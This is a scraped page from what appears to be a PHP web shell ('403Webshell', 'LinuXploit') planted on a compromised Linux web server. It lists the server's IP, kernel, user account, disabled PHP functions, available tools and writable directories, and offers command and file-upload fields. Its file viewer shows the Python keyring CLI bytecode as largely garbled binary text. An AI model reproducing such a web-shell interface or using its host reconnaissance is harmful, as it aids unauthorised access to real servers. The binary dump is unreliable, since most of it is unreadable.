403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.216.182
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/keyring/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/keyring/__pycache__/cli.cpython-311.pyc
�

5�d{����dZddlZddlZddlZddlmZddlmZddlmZddlmZm	Z	m
Z
mZddlm
Z
Gd	�d
��Zd
d�Zedkreje����dSdS)z@Simple command line interface to get/set password from a keyring�N�)�core)�backend)�
completion)�set_keyring�get_password�set_password�delete_password)�	platform_c�v�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Ze
d���Zed���Zd
S)�CommandLineToolc�2�tj��|_|j�ddddd���|j�ddddd	���|j�d
dd�
��|j�ddd�
��gd�|j_|j�d|jjd���|j�dd���|j�dd���tj|j��dS)Nz-pz--keyring-path�keyring_pathzPath to the keyring backend)�dest�default�helpz-bz--keyring-backend�keyring_backendzName of the keyring backendz--list-backends�
store_truezList keyring backends and exit)�actionrz	--disablezDisable keyring and exit)�get�set�del�diagnose�	operation�?)�choices�nargs�service)r�username)�argparse�ArgumentParser�parser�add_argument�_operationsr�install��selfs �-/usr/lib/python3/dist-packages/keyring/cli.py�__init__zCommandLineTool.__init__sl���-�/�/����� � �����.�	!�	
�	
�	
�	
�� � ���"��.�	!�	
�	
�	
�	
�� � ���1�	!�	
�	
�	
�
	
�� � ���3M�	!�	
�	
�	
�#D�"C�"C������ � ���K�+��	!�	
�	
�	
�
	
�� � ���	!�	
�	
�	
�	
�� � ���	!�	
�	
�	
�	��4�;�'�'�'�'�'�c�
�|j�|��}t|���t|����|jr'tj��D]}t|���dS|jrtj��dS|j
dkr|���dS|���|�
��t|d|j
��|j��}|��S)Nr�do_)r"�
parse_args�vars�update�
list_backendsr�get_all_keyring�print�disablerrr�_check_args�_load_spec_backend�getattr�
invalid_op)r'�argv�args�k�methods     r(�runzCommandLineTool.run8s����{�%�%�d�+�+���T�
�
���$�t�*�*�%�%�%���	��,�.�.�
�
���a������F��<�	��L�N�N�N��F��>�Z�'�'��M�M�O�O�O��F����������!�!�!���5�T�^�5�5�t��G�G���v�x�x�r*c�|�|jr2|j�|j�&|j�|j�d���dSdSdS)Nz requires service and username)rrrr"�errorr&s r(r4zCommandLineTool._check_argsNsU���>�	U��|�#�t�}�'<���!�!�T�^�"S�"S�"S�T�T�T�T�T�	U�	U�'<�'<r*c�z�t|j|j��}|�td���t	|��dS)Nr)rrr�
SystemExitr2�r'�passwords  r(�do_getzCommandLineTool.do_getSs6�����d�m�<�<�����Q�-�-��
�h�����r*c��|�d|j�d|j�d���}t|j|j|��dS)NzPassword for 'z' in 'z': )�input_passwordrrr	rAs  r(�do_setzCommandLineTool.do_setYsO���&�&�C�T�]�C�C�$�,�C�C�C�
�
��	�T�\�4�=�(�;�;�;�;�;r*c�:�t|j|j��dS�N)r
rrr&s r(�do_delzCommandLineTool.do_del_s�����d�m�4�4�4�4�4r*c���tj��}|���rtd|��ntd|d��tdt	j����dS)Nzconfig path:z(absent)z
data root:)r�_config_path�existsr2r�	data_root)r'�config_roots  r(rzCommandLineTool.diagnosebsh���'�)�)�������	;��.�+�.�.�.�.��.�+�z�:�:�:�
�l�I�/�1�1�2�2�2�2�2r*c�|�|j�dd�|jj���d���dS)NzSpecify operation (z, z).)r"r>�joinr$r&s r(r7zCommandLineTool.invalid_opjs;������V��	�	�$�+�:Q�0R�0R�V�V�V�W�W�W�W�Wr*c�*�|j�dS	|jr%tj�d|j��tt
j|j����dS#tf$r(}|j	�
d|����Yd}~dSd}~wwxYw)Nrz"Unable to load specified keyring: )rr�sys�path�insertrr�load_keyring�	Exceptionr"r>)r'�excs  r(r5z"CommandLineTool._load_spec_backendms�����'��F�
	J�� �
6������4�#4�5�5�5���)�$�*>�?�?�@�@�@�@�@���|�	J�	J�	J�
�K���H�3�H�H�I�I�I�I�I�I�I�I�I�����
	J���s�AA�B�*B
�
Bc�R�|���ptj|��S)zRetrieve password from input.)�pass_from_pipe�getpass)r'�prompts  r(rEzCommandLineTool.input_password}s#���"�"�$�$�?����(?�(?�?r*c��tj���}|o0|�tj�����S)z4Return password from pipe if not on TTY, else False.)rR�stdin�isatty�strip_last_newline�read)�cls�is_pipes  r(rYzCommandLineTool.pass_from_pipe�s?���i�&�&�(�(�(���C�3�1�1�#�)�.�.�2B�2B�C�C�Cr*c�>�|d|�d���S)z#Strip one last newline, if present.N�
)�endswith)�strs r(r_z"CommandLineTool.strip_last_newline�s$���(�c�l�l�4�(�(�(�(�)�)r*N)�__name__�
__module__�__qualname__r)r<r4rCrFrIrr7r5rE�classmethodrY�staticmethodr_�r*r(r
r
s�������&(�&(�&(�P���,U�U�U�
���<�<�<�5�5�5�3�3�3�X�X�X�J�J�J� @�@�@��D�D��[�D�
�*�*��\�*�*�*r*r
c�t�|�tjdd�}t��}|�|��S)zMain command line interface.Nr)rRr8r
r<)r8�clis  r(�mainro�s3���|��x����|��
�
�
�C��7�7�4�=�=�r*�__main__rH)�__doc__rZr rR�rrrrrr	r
�utilrr
rorg�exitrlr*r(�<module>rus
��F�F���������
�
�
�
�������������������F�F�F�F�F�F�F�F�F�F�F�F�������{*�{*�{*�{*�{*�{*�{*�{*�|�����z����C�H�T�T�V�V�������r*

Youez - 2016 - github.com/yon3zu
LinuXploit